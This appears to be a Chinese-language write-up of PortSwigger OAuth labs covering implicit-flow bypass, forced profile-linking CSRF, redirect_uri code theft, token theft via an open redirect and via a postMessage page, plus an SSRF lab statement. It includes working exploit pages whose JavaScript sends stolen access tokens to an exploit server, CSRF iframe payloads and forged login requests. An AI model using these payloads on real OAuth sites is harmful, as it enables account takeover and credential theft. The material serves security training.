OAuth 2.0 authentication vulnerabilities

Lab: Authentication bypass via OAuth implicit flow

This lab uses an OAuth service to allow users to log in with their social media account. Flawed validation by the client application makes it possible for an attacker to log in to other users’ accounts without knowing their password.

To solve the lab, log in to Carlos’s account. His email address is carlos@carlos-montoya.net.

You can log in with your own social media account using the following credentials: wiener:peter.

先走一遍流程看一下隐式 Oauth 授权流

先整理出两个核心域名

客户端网站 / RP:
0a3000ac04d2819f80c0039300ae0085.web-security-academy.net

OAuth 授权服务器 / 身份提供方:
oauth-0a93006804be817280da01d6027b0001.oauth-server.net

角色 域名 作用
客户端网站 web-security-academy.net 你最终要登录的网站
OAuth 服务商 oauth-server.net 负责验证用户身份,发 token
用户 浏览器 点击登录、输入账号密码、授权
/me OAuth 用户信息接口 根据 access token 返回用户信息
/authenticate 客户端网站登录接口 根据 OAuth 返回的信息创建本站 session
  1. 客户端发起授权请求

    1
    2
    3
    4
    5
    6
    GET /auth
    ?client_id=od4yynf6mre0cbx55xoej
    &redirect_uri=https://0a3000ac04d2819f80c0039300ae0085.web-security-academy.net/oauth-callback
    &response_type=token
    &nonce=1683346774
    &scope=openid profile email
    参数 示例值 作用 安全关注点
    client_id od4yynf6mre0cbx55xoej 客户端应用 ID,用来告诉授权服务器“是谁在请求登录/授权” 不是密钥,可以公开;授权服务器会用它查应用配置、允许的回调地址、允许的 scope
    redirect_uri https://.../oauth-callback 授权完成后,授权服务器把用户重定向回来的地址 必须严格匹配白名单;如果可被篡改到攻击者域名,可能导致 token/code 泄露
    response_type token 指定授权响应类型;token 表示使用隐式流,授权成功后直接返回 access_token response_type=token 会让 token 出现在浏览器 URL fragment 中,风险比授权码流更高
    nonce 1683346774 OIDC 中的一次性随机值,用来绑定请求和响应,防止 token replay 应该是高熵随机值;如果只是时间戳,随机性不足
    scope openid profile email 请求的权限范围;这里表示请求 OIDC 登录、用户资料和邮箱 scope 越大,授权越敏感;应遵循最小权限原则

    客户端网站告诉 OAuth 服务器:

    我是 client_id = od4yynf6mre0cbx55xoej 的应用;
    用户授权后请跳回我的 /oauth-callback
    我用的是 response_type=token,也就是隐式流;
    我要 openid、profile、email 权限。

  2. 用户登录并授权

    用户在 OAuth 服务商那里登录
    然后同意授权 client app 读取 profile/email 等信息

    1
    2
    3
    POST /interaction/kyrcnqWnINO4DPKIkY3TP/login

    username=wiener&password=peter

    然后还有:

    1
    POST /interaction/kyrcnqWnINO4DPKIkY3TP/confirm

    意思是:

    用户先在 OAuth 服务器登录账号 wiener,然后确认授权目标网站读取自己的 openid profile email 信息。

    注意:这里登录的是 OAuth 服务器账号,不是目标网站自己的账号。

  3. OAuth 服务器返回 access token

    流量里对应的是:

    1
    GET /auth/kyrcnqWnINO4DPKIkY3TP

    里的返回包

    1
    Location: https://0a3000ac04d2819f80c0039300ae0085.web-security-academy.net/oauth-callback#access_token=CDeFG9tZqQib01Zj0VHxqNqmg1vwbIw8fPnZNCDRdn_&expires_in=3600&token_type=Bearer&scope=openid%20profile%20email

    意思是:

    OAuth 服务器认证成功后,把浏览器重定向回目标网站的 /oauth-callback,并把 access_token 放在 # 后面。

    关键点:

    1
    #access_token=...

    # 后面的部分叫 URL fragment

    它有一个特点:

    1
    fragment 不会被浏览器发送给服务器。

    也就是说,请求目标网站时,真正发出的只有:

    1
    2
    GET /oauth-callback
    Host: 0a3000ac04d2819f80c0039300ae0085.web-security-academy.net

    不会发:

    1
    #access_token=...

    所以目标网站后端一开始并不知道这个 token,必须靠前端 JS 从浏览器 URL 里取出来

  4. API call:浏览器拿 access token 请求 /me 或 /userinfo

    1
    2
    3
    GET /me
    Host: oauth-0a93006804be817280da01d6027b0001.oauth-server.net
    Authorization: Bearer CDeFG9tZqQib01Zj0VHxqNqmg1vwbIw8fPnZNCDRdn_

    意思是:

    目标网站的前端 JS 从 URL fragment 里取出 access_token,然后用它请求 OAuth 服务器的 /me 接口,获取用户信息。

    这一步是在浏览器里发生的,不是在目标网站后端发生的。

    JS 大概做了这个事情:

    1
    2
    3
    4
    5
    6
    7
    const token = 从 window.location.hash 里取 access_token

    fetch('https://oauth-server.net/me', {
    headers: {
    Authorization: 'Bearer ' + token
    }
    })
  5. Resource grant:OAuth 服务器返回用户信息

    流量里对应的是:

    1
    2
    3
    4
    5
    6
    {
    "sub": "wiener",
    "name": "Peter Wiener",
    "email": "wiener@hotdog.com",
    "email_verified": true
    }

    意思是:

    OAuth 服务器告诉前端:这个 access token 对应的用户是 wiener,邮箱是 wiener@hotdog.com

    字段解释:

    1
    2
    3
    4
    sub = OAuth 用户唯一标识
    name = 用户昵称/姓名
    email = 用户邮箱
    email_verified = 邮箱是否已验证
  6. 目标网站创建自己的登录态

流量里就是:

1
2
3
4
5
6
7
8
POST /authenticate
Host: 0a3000ac04d2819f80c0039300ae0085.web-security-academy.net

{
"email": "wiener@hotdog.com",
"username": "wiener",
"token": "CDeFG9tZqQib01Zj0VHxqNqmg1vwbIw8fPnZNCDRdn_"
}

目标网站响应:

1
Set-Cookie: session=Mf4cOuFSEkrVtlxb8QeBgWJKB4kQnw2V

意思是:

目标网站根据前端传来的 OAuth 用户信息,给用户创建了本站自己的登录 session。

所以最终:

1
2
3
4
5
6
7
8
9
OAuth 服务器确认你是 wiener

前端拿到 wiener 的 email 和 username

前端 POST 给目标网站 /authenticate

目标网站设置自己的 session

你登录成功

所以总结整个隐式 Oauth 验证步骤就是

标准隐式流步骤 你流量里的请求 作用
1. Authorization request GET /auth?...response_type=token... 目标网站请求 OAuth 登录
2. User login and consent POST /interaction/.../loginPOST /confirm 用户在 OAuth 服务器登录并授权
3. Access token grant Location: /oauth-callback#access_token=... OAuth 服务器把 token 返回到浏览器 URL fragment
4. API call GET /me + Authorization: Bearer token 前端用 token 请求用户信息
5. Resource grant /me 返回 sub/email/name OAuth 服务器返回用户身份
6. Client login session POST /authenticate 目标网站创建自己的登录 session

这道题的解题关键就在最后一步创建自己的 session 那里,目标网站的 /authenticate 接口错误信任了前端传来的 email,没有检查这个 email 是否真的属于 access token。

所以你把自己的 OAuth 登录流程走完后,把最后登录请求里的邮箱改成 Carlos 的邮箱,目标网站就把你登录成 Carlos。

1
2
3
4
5
6
7
8
POST /authenticate
Host: 0a3000ac04d2819f80c0039300ae0085.web-security-academy.net

{
"email": "carlos@carlos-montoya.net",
"username": "wiener",
"token": "CDeFG9tZqQib01Zj0VHxqNqmg1vwbIw8fPnZNCDRdn_"
}

正常安全逻辑应该是:

1
2
3
4
5
6
7
目标网站收到 token

目标网站后端自己拿 token 去 OAuth 服务器查 /me

OAuth 服务器返回:这个 token 属于 wiener@hotdog.com

目标网站只允许登录 wiener

但这个实验里的错误逻辑像是:

1
2
3
4
5
目标网站收到前端传来的 email

直接相信这个 email

按这个 email 登录对应账号

也就是说,它没有做这一步验证:

1
token 对应的用户 email 是否等于请求体里的 email?

Lab: Forced OAuth profile linking

This lab gives you the option to attach a social media profile to your account so that you can log in via OAuth instead of using the normal username and password. Due to the insecure implementation of the OAuth flow by the client application, an attacker can manipulate this functionality to obtain access to other users’ accounts.

To solve the lab, use a CSRF attack to attach your own social media profile to the admin user’s account on the blog website, then access the admin panel and delete carlos.

The admin user will open anything you send from the exploit server and they always have an active session on the blog website.

You can log in to your own accounts using the following credentials:

  • Blog website account: wiener:peter
  • Social media profile: peter.wiener:hotdog

这一题是 OAuth 授权码流程 Authorization Code Flow,不是隐式流,也是目前最主流的流程。授权码流程的特点是:浏览器只拿到 code,真正换 access_token、请求用户信息的步骤由客户端网站后端和 OAuth 服务端通过后端通道完成,普通浏览器/Burp 通常看不到这部分。你上传的笔记里也说了:从 code/token exchange 开始,通信是 server-to-server 的 back-channel,对最终用户不可见

客户端网站 / blog website:
0a6a000303c5373480d4036500c40066.web-security-academy.net

OAuth 服务端:
oauth-0aea00a603a337118088018f02c70071.oauth-server.net

  1. Authorization request:发起授权请求

    1
    2
    3
    4
    5
    GET /auth?client_id=oixe13czluo6zn9ga8uz6
    &redirect_uri=https://0a6a000303c5373480d4036500c40066.web-security-academy.net/oauth-linking
    &response_type=code
    &scope=openid%20profile%20email
    Host: oauth-0aea00a603a337118088018f02c70071.oauth-server.net

    这一步的意思是:

    1
    2
    3
    4
    5
    6
    客户端网站告诉 OAuth 服务端:

    我是 client_id = oixe13czluo6zn9ga8uz6 的应用;
    授权完成后请跳回我的 /oauth-linking;
    我使用 response_type=code,也就是授权码流程;
    我要 openid、profile、email 这些用户信息。

    最关键的是:

    1
    response_type=code

    这说明它不是隐式流。隐式流是:

    1
    response_type=token
  2. User login and consent:用户登录并授权

    OAuth 服务端先创建了一个 interaction:

    1
    302 Location: /interaction/qIs_n_BZcCvbyf5IuCbtn

    然后用户进入:

    1
    GET /interaction/qIs_n_BZcCvbyf5IuCbtn

    之后提交了 OAuth 服务端的登录表单:

    1
    2
    3
    POST /interaction/qIs_n_BZcCvbyf5IuCbtn/login

    username=peter.wiener&password=hotdog

    这一步的意思是:

    1
    用户在 OAuth 服务端登录自己的 OAuth 账号。

    注意:这里登录的是 oauth-server.net 上的账号,不是 blog 网站自己的账号。

    然后还有授权确认请求:

    1
    POST /interaction/qIs_n_BZcCvbyf5IuCbtn/confirm

    意思是:

    1
    用户同意把 openid profile email 授权给客户端网站。
  3. Authorization code grant:OAuth 服务端把 code 发回客户端网站

    流量里对应的是:

    1
    302 Location: https://0a6a000303c5373480d4036500c40066.web-security-academy.net/oauth-linking?code=IoxiT2e9PRoAokP-MTnRKZonSK_jMtV-ChkeooeaWWG

    随后浏览器访问:

    1
    2
    GET /oauth-linking?code=IoxiT2e9PRoAokP-MTnRKZonSK_jMtV-ChkeooeaWWG
    Host: 0a6a000303c5373480d4036500c40066.web-security-academy.net

    这一步的意思是:

    1
    2
    OAuth 服务端没有直接给 access_token,
    而是给了一个一次性的 authorization code。

    也就是:

    1
    code=IoxiT2e9PRoAokP-MTnRKZonSK_jMtV-ChkeooeaWWG

    这个 code 是临时票据。客户端网站后端接下来会拿它去换真正的 access token。

  4. Access token request:客户端后端用 code 换 access token

    在 Burp 包里看不到这一步。(和隐式拿 token 的区别也在此了)

    原因是:这一步不是浏览器发的,而是:

    1
    客户端网站后端  →  OAuth 服务端 /token

    它走的是后端到后端通信,不经过你的浏览器,所以你在浏览器代理里通常看不到。你上传的笔记里也明确说,客户端收到 authorization code 后,会通过 server-to-server POST 请求到 /token 换 access token;从这里开始通常不能被攻击者观察或控制。

    所以你的包里看到:

    1
    GET /oauth-linking?code=...

    后面没有看到:

    1
    POST /token

    这是正常的。

  5. Access token grant:OAuth 服务端返回 access token

    包里同样看不到这一步

    因为它也是:

    1
    OAuth 服务端  →  客户端网站后端

    不是发给浏览器。

    这就是授权码流程比隐式流更安全的原因之一:

    1
    2
    3
    access_token 不出现在浏览器 URL 里;
    access_token 不被前端 JS 读取;
    access_token 不经过用户浏览器。
  6. API call:客户端后端用 access token 请求用户信息

    包里也看不到这一步

    原因仍然一样:这是客户端网站后端拿 access token 去请求 OAuth 服务端用户信息接口。

    这个实验里,后端大概会请求类似:

    1
    2
    GET /me 或 /userinfo
    Authorization: Bearer <access_token>

    然后 OAuth 服务端返回用户信息。

  7. Resource grant:OAuth 服务端返回用户数据,客户端完成登录/绑定

    当然也是浏览器看不到的

这一题的漏洞点就在于没有 state 参数,OAuth 里的 state 参数虽然不是所有流程都强制必须有,但强烈建议使用。因为它相当于 OAuth 流程里的 CSRF Token。正常情况下第一步是这样的

1
2
3
4
5
6
GET /auth?
client_id=oixe13czluo6zn9ga8uz6
&redirect_uri=https://0a6a000303c5373480d4036500c40066.web-security-academy.net/oauth-linking
&response_type=code
&scope=openid%20profile%20email
&state=xxxxxxxxxxx

如果一个 OAuth 授权请求里没有 state,就很可疑,可能导致 OAuth CSRF / 第三方账号绑定劫持

所以攻击者可以先生成一个“把攻击者自己的社交账号绑定上去”的 OAuth 回调链接,再诱导管理员打开。由于管理员在博客网站上一直是登录状态,这个回调会在管理员的 session 下执行,最终把你的社交账号绑定到管理员博客账号上。

之后你就可以用自己的社交账号登录博客,但进入的是管理员账号。

在我们前面梳理的第三步流程里OAuth 服务端把 code 发回客户端网站,302跳转回了客户端一个链接

1
302 Location: https://0a6a000303c5373480d4036500c40066.web-security-academy.net/oauth-linking?code=IoxiT2e9PRoAokP-MTnRKZonSK_jMtV-ChkeooeaWWG

这个链接的含义是:

1
把 peter.wiener 这个社交媒体服务器上的账号绑定到当前登录的客户端的博客账号

如果你自己浏览器继续访问它,就会绑定到你自己的 wiener 账号。因为后续客户端就拿这个 code 一查,发现是peter.wiener的媒体账号。

我们可以利用这个链接,构造 csrf 发给管理员,让他来访问这个链接,admin 会打开构造的 exploit 页面。

如果成功,admin 的博客账号就会绑定你的社交账号 peter.wiener。那我们就能利用peter.wiener社交账号直接登录到管理员的客户端账号。

1
<iframe src="https://0a6a000303c5373480d4036500c40066.web-security-academy.net/oauth-linking?code=kJ1po9-VPINW6jX36nBOpNOKy4ndgcgCbg1JUnkCTwQ"></iframe>

这个实验的攻击链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
你自己的社交账号 peter.wiener

你先发起 OAuth 绑定流程

拿到一个属于你社交账号的 /oauth-linking?code=...

不要让它绑定到你自己的博客账号

把这个 callback 链接做成 CSRF payload 发给 admin

admin 浏览器访问该链接

admin 当前有博客登录态

博客网站把 peter.wiener 社交账号绑定到 admin 博客账号

你用 peter.wiener 社交账号登录

进入 admin 账号

访问 admin panel 删除 carlos

关键点:为什么能绑定到 admin?

正常绑定流程应该是:

1
2
3
4
5
6
7
8
9
用户点击“绑定社交账号”

网站生成 state,并保存在当前用户 session

OAuth 回调 /oauth-linking?code=xxx&state=yyy

网站检查 state 是否匹配当前 session

匹配才绑定

但这个实验里缺少 state,所以网站只看到:

1
GET /oauth-linking?code=攻击者自己的code

它不知道这个 OAuth 流程到底是不是当前用户主动发起的。

于是当 admin 打开这个链接时,网站会认为:

1
2
3
当前登录用户 = admin
OAuth code 对应社交账号 = peter.wiener
绑定结果 = 把 peter.wiener 绑定到 admin

这就是 OAuth account linking CSRF。

Lab: OAuth account hijacking via redirect_uri

This lab uses an OAuth service to allow users to log in with their social media account. A misconfiguration by the OAuth provider makes it possible for an attacker to steal authorization codes associated with other users’ accounts.

To solve the lab, steal an authorization code associated with the admin user, then use it to access their account and delete the user carlos.

The admin user will open anything you send from the exploit server and they always have an active session with the OAuth service.

You can log in with your own social media account using the following credentials: wiener:peter.

OAuth 流程时间线

阶段 # 请求 关键点
起点 0 GET /my-account → 302 /social-login 未登录被踢去登录
授权发起 8 GET /auth?client_id=sb6jmlmhkdvb25n29peet&redirect_uri=... 关键:response_type=code,授权码流程;scope 含 openid/profile/email
登录 16 POST /interaction/.../login body=username=wiener&password=peter → 302 凭证以明文 form 提交(HTTPS 内部 OK);wiener:peter 是 PortSwigger 默认账号
同意 27 POST /interaction/.../confirm → 302 用户点击 “Continue/Authorize”
颁码 29 GET /auth/RZiV2djjeX_yAODCG-6k5 → 302 …/oauth-callback?code=3PW1pq6T_Kno3BL2MrBBbBuJTp1NAi5SIyuhmB5aTho 授权码出现在 URL 查询串里
回调 32 GET /oauth-callback?code=… → 200,新 session cookie 下发 客户端用 code 换 token、建立会话

上一题对应的场景是当前这个已登录用户,想把一个第三方账号绑上来,利用第三方服务器给攻击者颁发的 code 来利用 csrf 绑定客户端管理员的账号。实现的是把攻击者的 code 塞给受害者用。但是前提是没有 state 参数来防 csrf 漏洞。

这一题的 auth 流程中 redirect_uri 未做白名单校验,场景是进入这个端点时,client 上没有现成的登录会话(用户就是来登录的)。生成 session 的依据完全来自 OAuth 第三方拉来的身份。

1
GET /auth?client_id=jeol1ohpadlnyfxpe608v&redirect_uri=https://0a79000a034e8635805ec69100e700f4.web-security-academy.net/oauth-callback&response_type=code&scope=openid%20profile%20email

在管理员登录后开启 auth 流程的话因为管理员的浏览器早已在 OAuth Server 上有一个有效的 _session cookie(之前登录过),/auth 端点检测到这个会话后,判定”用户已登录、已对该 client 授过权”,于是跳过登录页和同意页,直接颁发 code 并 302 回 client

这就是 OAuth 的 **SSO 行为(Single Sign-On)**——也叫”silent authorization”。

所以返回 302 跳转。

1
Redirecting to https://0a79000a034e8635805ec69100e700f4.web-security-academy.net/oauth-callback?code=5Z0dvxRbMl8Gs1OtAWSsG6ojRApxXKwEIqF1f7LIoUr.

所以利用 csrf 来实现对受害者 code 的劫持,指定回调 url 为可控制的服务器

redirect_uri=https://exploit-0a560044037786a4804ec5ee012700ea.exploit-server.net/exploit

1
<image src="https://oauth-0af7004b03cd86d5806fc4a502d100c1.oauth-server.net/auth?client_id=jeol1ohpadlnyfxpe608v&redirect_uri=https://exploit-0a560044037786a4804ec5ee012700ea.exploit-server.net/exploit&response_type=code&scope=openid%20profile%20email">

当管理员访问危险网站,触发 auth 校验,并且回调 url 为攻击者控制的服务器,查看访问日志,窃取管理员 code

1
10.0.3.134      2026-05-21 10:30:20 +0000 "GET /exploit?code=qp_jvEzgEO0fmxSf65e3G6FkywM_TyoclWMiDHx6qsa HTTP/1.1" 200 "user-agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36"

登录攻击者第三方账号后,退出登录,然后再次发起 auth 登录请求,利用窃取的管理员 code ,绑定管理员 在 oauth 上的session

1
https://0a79000a034e8635805ec69100e700f4.web-security-academy.net/oauth-callback?code=qp_jvEzgEO0fmxSf65e3G6FkywM_TyoclWMiDHx6qsa

访问结束后就能绑定上管理员的会话

Lab2 和 Lab3 区别

维度 登录劫持(callback 类) 绑定劫持(linking 类)
lab 名 OAuth account hijacking via redirect_uri Forced OAuth profile linking
业务端点 /oauth-callback(登录入口) /oauth-linking(已登录用户绑第三方)
业务目的 用 OAuth 身份建立 client session 把 OAuth 身份挂到当前已登录的 client 账号
漏洞根因 OAuth Server 不校验 redirect_uri client 不校验 state
责任方 Authorization Server(OAuth Provider 端) Client Application(业务方)
被偷/塞的对象 受害者的 code 攻击者的 code 给受害者
攻击方向 code 从受害者 → 攻击者(出口失守) code 从攻击者 → 受害者(入口失守)
谁在 OAuth Server 有 session 受害者(silent auth 才能颁码) 攻击者(用自己社交号去拿一个绑了自己 sub 的 code)
谁在 client 有 session 不需要(攻击者用偷来的 code 自己去 callback 建新 session) 受害者(管理员,绑定操作信任的就是当前 session)
谁去访问最后那个 callback 攻击者(用自己浏览器 + 偷来的 code) 受害者(被诱导加载 iframe / 链接)
最终效果 攻击者获得”代表受害者”的 session 攻击者的社交号被绑到受害者账号,之后正常登录就进受害者
核心防御 redirect_uri 严格白名单 + PKCE state 参数严格校验
state 是否有用 几乎无用(攻击者没 session,无 state 可校验) 唯一防线(没它就是裸奔)
redirect_uri 校验是否有用 根治 帮助不大(攻击者用合法 redirect_uri 也能打)

用一句话区分

登录劫持:OAuth Server 把受害者的 code 漏给了攻击者 绑定劫持:Client 把攻击者的 code 当成了”用户本人的操作”

两类的”信任错位”在哪

登录劫持的错位在 OAuth Server:

1
2
本该:code 只允许跳到注册过的 redirect_uri
实际:任意 redirect_uri 都接受 → code 跑到攻击者域名

绑定劫持的错位在 Client:

1
2
3
本该:绑定操作必须是用户本人主动发起(state 来验证)
实际:只要当前 session 是合法的,就把任何送进来的 code 挂给当前用户
→ 攻击者送进来的 code,被挂给了无辜的当前用户

防御对照

角色 防登录劫持 防绑定劫持
OAuth Server 该做 redirect_uri 完全字符串匹配 + 不允许通配/子路径 颁码时绑定 code ↔ 颁码时的会话/PKCE,换 token 时校验
Client 该做 配合 PKCE 发起授权;校验 iss(RFC 9207) 发起 /auth 时生成随机 state 存 session,回调时严校验
公共最佳实践 都启用 PKCE + state,纵深防御 同左

Lab: Stealing OAuth access tokens via an open redirect

This lab uses an OAuth service to allow users to log in with their social media account. Flawed validation by the OAuth service makes it possible for an attacker to leak access tokens to arbitrary pages on the client application.

To solve the lab, identify an open redirect on the blog website and use this to steal an access token for the admin user’s account. Use the access token to obtain the admin’s API key and submit the solution using the button provided in the lab banner.

Note

You cannot access the admin’s API key by simply logging in to their account on the client application.

The admin user will open anything you send from the exploit server and they always have an active session with the OAuth service.

You can log in via your own social media account using the following credentials: wiener:peter.

PortSwigger Web Security Academy 实验复盘。整条攻击链由三个独立的小问题串起,最终完成账户接管。

背景:Implicit Flow 的信任假设

OAuth 2.0 的 Implicit Flow 中,access_token 直接作为 URL fragment 返回:

1
https://client.com/callback#access_token=xxx&expires_in=3600&...

这种设计的核心安全假设是 redirect_uri 必须严格校验。一旦校验有缺陷,配合一个站内开放重定向,token 就会被引流到攻击者手上。

攻击链总览

1
2
3
4
5
6
7
8
恶意 exploit 页面
└── JS 触发 OAuth 授权请求
└── redirect_uri 用 /../ 绕过白名单
└── 命中站内开放重定向 /post/next?path=
└── 浏览器最终落到 exploit-server/exploit#access_token=xxx
└── exploit 页面 JS 读 hash 转 query 外发
└── 攻击者 access log 拿到 token
└── 用 token 请求 /me 拿 API key

三个漏洞缺一不可:

  1. redirect_uri 白名单校验不严(允许 /../)
  2. 站内存在开放重定向 /post/next?path=
  3. Implicit Flow,token 直接在 URL 里

三、信息收集

  1. 抓正常 OAuth 流程

开 Burp,点 “My account” 完成登录,关注两个请求并丢去 Repeater:

  • GET /auth?client_id=... —— OAuth 授权请求
  • GET /me —— 客户端拿到 token 后调用的 userinfo 端点
  1. 探测 redirect_uri

在 Repeater 里改 redirect_uri:

  • 外部域名 → 被拦 ❌

  • 合法路径后追加字符 → 通过 ✅

  • 路径穿越:

    1
    redirect_uri=https://LAB-ID.web-security-academy.net/oauth-callback/../post?postId=1

    → 通过 ✅,说明校验只看前缀

浏览器走一遍这个流程,地址栏里直接出现 #access_token=...,门已经开了。

  1. 找开放重定向

翻博客发现底部 “Next post” 按钮,对应:

1
GET /post/next?path=/post?postId=2

改成外部 URL 测一下:

1
https://0a360070037792cd80d6d58000920085.web-security-academy.net/post/next?path=https://www.google.com

→ 直接 302 到 Google。开放重定向确认。

四、组合恶意 URL

两个能力拼起来,redirect_uri/../ 落到 /post/next,再把受害者推去 exploit server:

1
2
3
4
5
6
https://oauth-0aae00f2034e9283807dd383022d00e4.oauth-server.net/auth
?client_id=x6vojlcgl5rzogh9ouvg3
&redirect_uri=https://0a360070037792cd80d6d58000920085.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0a7d00ee03e692e8806ed4160196007a.exploit-server.net/exploit
&response_type=token
&nonce=-1200011926
&scope=openid%20profile%20email

关键技巧:

  • oauth-callback/../post/next —— 校验时还能匹配 oauth-callback 前缀,规范化后实际是 /post/next

  • fragment 在整条 302 链中会被浏览器保留

    ,最终 URL:

    1
    https://exploit-server/exploit#access_token=xxx

五、两个让我卡住的坑

坑点 1:服务器日志里看不到 #access_token=...

URL 中 # 后的内容叫 fragment,它有一个非常重要的特性:

浏览器在发起 HTTP 请求时,不会把 fragment 发送给服务器。

所以 Burp、access log、CDN 日志全都看不到 token。唯一能”碰到”它的是浏览器里的 JS(通过 window.location.hash)。

要让 token 进 access log,只能让 JS 把它转写成 query string,再发一个新请求 —— 因为 query string 是会真正出现在 HTTP 请求行里的。

坑点 2:<img src="...oauth..."> 没用

我最早写的是:

1
<img src="https://oauth-server/auth?...&redirect_uri=...">

想让浏览器后台跑一遍 OAuth。结果不行 —— <img> 触发的是子资源请求,浏览器只关心返回字节,最终落地页的 JS 根本不会执行,fragment 当然也读不到。

正确做法:用 <iframe> 或者直接 window.location 整页跳转,让目标页面真正被加载为一个文档

六、Exploit 页面

放在 exploit server 的 /exploit 路径下。同一个页面被加载两次,通过 location.hash 是否为空区分阶段:

1
2
3
4
5
6
7
8
9
<script>
if (window.location.hash) {
// 第二次:从 OAuth 流程带着 token 回来,转成 query 外发
fetch('/' + encodeURIComponent(window.location.hash.substr(1)));
} else {
// 第一次:没有 token,启动 OAuth 流程
window.location = "https://oauth-0aae00f2034e9283807dd383022d00e4.oauth-server.net/auth?client_id=x6vojlcgl5rzogh9ouvg3&redirect_uri=https://0a360070037792cd80d6d58000920085.web-security-academy.net/oauth-callback/../post/next?path=https://exploit-0a7d00ee03e692e8806ed4160196007a.exploit-server.net/exploit&response_type=token&nonce=-1200011926&scope=openid%20profile%20email";
}
</script>

执行流程拆解:

  1. 受害者首次访问 → hash 为空 → 走 else → 跳到 OAuth
  2. OAuth 走完,经过 /../ + open redirect,浏览器落到 /exploit#access_token=xxx
  3. 同一个 exploit 页面被重新加载,这次 hash 有值 → 走 if
  4. fetch('/access_token=xxx...') → 这次 token 在路径里,进 access log

⚠️ 易错点:必须用 if/else 分支区分两次访问。如果两条 window.location 顺序写,会无限循环 —— 跳走后 token 回来又会触发 OAuth 跳出去。

流量

Deliver exploit to victim 之后,exploit server 的 access log 出现:

1
2
3
4
5
6
10.0.3.146  2026-05-22 07:54:41 +0000  "GET /access_token%3DuyiovlCA_v9KZ3GAQ4mQX2r_n4Mqjo1nPLtjq_vbfQE
%26expires_in%3D3600
%26token_type%3DBearer
%26scope%3Dopenid%2520profile%2520email HTTP/1.1"
404
"user-agent: Mozilla/5.0 (Victim) ..."

URL 解码后就是受害者的完整 token:

1
2
3
4
access_token=uyiovlCA_v9KZ3GAQ4mQX2r_n4Mqjo1nPLtjq_vbfQE
&expires_in=3600
&token_type=Bearer
&scope=openid profile email

404 没关系,我们要的是日志记录,服务端响应什么不重要。

八、用 token 拿 API key

回到 Burp Repeater 里的 GET /me,替换 Authorization 头:

1
2
3
GET /me HTTP/2
Host: oauth-0aae00f2034e9283807dd383022d00e4.oauth-server.net
Authorization: Bearer uyiovlCA_v9KZ3GAQ4mQX2r_n4Mqjo1nPLtjq_vbfQE

响应:

1
2
3
4
5
6
7
{
"sub": "administrator",
"apikey": "lX2k4d9ZOckzw8rlBNMN1CmvkDzLne0X",
"name": "Administrator",
"email": "administrator@normal-user.net",
"email_verified": true
}

sub: administrator —— 直接拿到了管理员账户。把 apikey 提交完成实验。

Lab: Stealing OAuth access tokens via a proxy page

This lab uses an OAuth service to allow users to log in with their social media account. Flawed validation by the OAuth service makes it possible for an attacker to leak access tokens to arbitrary pages on the client application.

To solve the lab, identify a secondary vulnerability in the client application and use this as a proxy to steal an access token for the admin user’s account. Use the access token to obtain the admin’s API key and submit the solution using the button provided in the lab banner.

The admin user will open anything you send from the exploit server and they always have an active session with the OAuth service.

You can log in via your own social media account using the following credentials: wiener:peter.

上一题(开放重定向方案)的攻击链:

1
OAuth → /../ 绕过 redirect_uri 校验 → 站内 /post/next 开放重定向 → exploit server → JS 读 hash 外发

这一题(postMessage gadget 方案):

1
OAuth → /../ 绕过 redirect_uri 校验 → 站内评论页 → 评论页自己 postMessage 把 URL 广播给 exploit page

两条路径的差异:

维度 开放重定向方案 postMessage gadget 方案
是否需要站内开放重定向 需要 不需要
token 最终落地在哪里 exploit server 博客域内某个页面(iframe 里)
外带方式 落地页 JS 读 location.hash 发出 iframe 内页面主动 postMessage 给父窗口
利用条件 站内有开放重定向 站内有不安全的 postMessage(..., '*')

核心 takeaway:OAuth 安全审计的本质,是审计”redirect_uri 指向的那个页面有多干净”。只要 client 域里有任何能把 URL 信息泄漏到外部的能力——重定向、JS、HTML 注入、postMessage、Referer——攻击者就能把它变成 token 提取器。

  1. 找到目标 gadget

审计博客页面 /post?postId=2,发现底部有个 iframe:

html

1
<iframe src="/post/comment/comment-form#postId=2"></iframe>

打开这个 iframe 的源码 /post/comment/comment-form:

html

1
2
3
4
5
6
7
8
9
10
11
12
13
<script>
parent.postMessage({type: 'onload', data: window.location.href}, '*')
function submitForm(form, ev) {
ev.preventDefault();
const formData = new FormData(document.getElementById("comment-form"));
const hashParams = new URLSearchParams(window.location.hash.substr(1));
const o = {};
formData.forEach((v, k) => o[k] = v);
hashParams.forEach((v, k) => o[k] = v);
parent.postMessage({type: 'oncomment', content: o}, '*');
form.reset();
}
</script>

致命的就是顶部第一行:

javascript

1
parent.postMessage({type: 'onload', data: window.location.href}, '*')

页面一加载就把自己的完整 URL(包括 fragment 里的 access token)广播给 parent,而且 target origin 是 *——任何把这个页面嵌入为 iframe 的父窗口都能收到

  1. redirect_uri 仍然只做前缀校验

和上一题一样,OAuth server 对 redirect_uri 只做前缀字符串匹配,/../ 目录遍历可以绕过——所以可以把 token 引到博客域内的任意页面,包括这个评论页。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
exploit page (attacker domain)

├─ window message listener 等着收 onload 消息
└─ <iframe src="oauth-server/auth?redirect_uri=blog/oauth-callback/../post/comment/comment-form">

├─ OAuth server 校验 redirect_uri(前缀通过)→ 302
├─ 浏览器规范化 /../ → 实际落到 /post/comment/comment-form
└─ 评论页加载,URL 是 .../post/comment/comment-form#access_token=xxx

└─ 页面顶部自动执行:
parent.postMessage({type:'onload', data: location.href}, '*')

└─ parent(即 exploit page)收到消息

└─ fetch('/' + encodeURIComponent(message.data))

└─ 进 exploit server access log ✅

Exploit

1
2
3
4
5
6
7
<iframe src="https://oauth-OAUTH-ID.oauth-server.net/auth?client_id=LAB-CLIENT-ID&redirect_uri=https://LAB-ID.web-security-academy.net/oauth-callback/../post/comment/comment-form&response_type=token&nonce=-539873944&scope=openid%20profile%20email"></iframe>

<script>
window.addEventListener('message', function(e) {
fetch("/" + encodeURIComponent(e.data.data))
}, false)
</script>

Lab: SSRF via OpenID dynamic client registration

This lab allows client applications to dynamically register themselves with the OAuth service via a dedicated registration endpoint. Some client-specific data is used in an unsafe way by the OAuth service, which exposes a potential vector for SSRF.

To solve the lab, craft an SSRF attack to access http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/ and steal the secret access key for the OAuth provider’s cloud environment.

You can log in to your own account using the following credentials: wiener:peter

